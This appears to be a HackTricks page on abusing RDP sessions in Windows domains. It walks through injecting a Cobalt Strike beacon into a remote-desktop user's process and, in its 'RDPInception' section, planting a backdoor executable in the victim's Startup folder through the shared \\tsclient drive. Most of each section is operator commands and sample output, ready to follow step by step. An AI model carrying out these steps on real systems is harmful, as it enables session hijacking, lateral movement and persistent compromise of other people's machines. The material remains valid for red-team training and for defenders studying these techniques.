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101 lines
5.2 KiB
Markdown
101 lines
5.2 KiB
Markdown
# RDP Sessions Abuse
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## RDP Process Injection
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If the **external group** has **RDP access** to any **computer** in the current domain, an **attacker** could **compromise that computer and wait for him**.
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Once that user has accessed via RDP, the **attacker can pivot to that users session** and abuse its permissions in the external domain.
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```powershell
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# Supposing the group "External Users" has RDP access in the current domain
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## lets find where they could access
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## The easiest way would be with bloodhound, but you could also run:
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Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
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#or
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Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName
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# Then, compromise the listed machines, and wait til someone from the external domain logs in:
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net logons
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Logged on users at \\localhost:
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EXT\super.admin
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# With cobalt strike you could just inject a beacon inside of the RDP process
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beacon> ps
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PID PPID Name Arch Session User
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--- ---- ---- ---- ------- -----
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...
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4960 1012 rdpclip.exe x64 3 EXT\super.admin
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beacon> inject 4960 x64 tcp-local
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## From that beacon you can just run powerview modules interacting with the external domain as that user
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```
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Check **other ways to steal sessions with other tools** [**in this page.**](../../network-services-pentesting/pentesting-rdp.md#session-stealing)
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## RDPInception
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If a user access via **RDP into a machine** where an **attacker** is **waiting** for him, the attacker will be able to **inject a beacon in the RDP session of the user** and if the **victim mounted his drive** when accessing via RDP, the **attacker could access it**.
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In this case you could just **compromise** the **victims** **original computer** by writing a **backdoor** in the **statup folder**.
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```powershell
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# Wait til someone logs in:
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net logons
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Logged on users at \\localhost:
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EXT\super.admin
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# With cobalt strike you could just inject a beacon inside of the RDP process
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beacon> ps
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PID PPID Name Arch Session User
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--- ---- ---- ---- ------- -----
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...
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4960 1012 rdpclip.exe x64 3 EXT\super.admin
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beacon> inject 4960 x64 tcp-local
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# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
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## \\tsclient\c is the C: drive on the origin machine of the RDP session
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beacon> ls \\tsclient\c
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Size Type Last Modified Name
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---- ---- ------------- ----
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dir 02/10/2021 04:11:30 $Recycle.Bin
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dir 02/10/2021 03:23:44 Boot
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dir 02/20/2021 10:15:23 Config.Msi
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dir 10/18/2016 01:59:39 Documents and Settings
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[...]
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# Upload backdoor to startup folder
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beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
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beacon> upload C:\Payloads\pivot.exe
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```
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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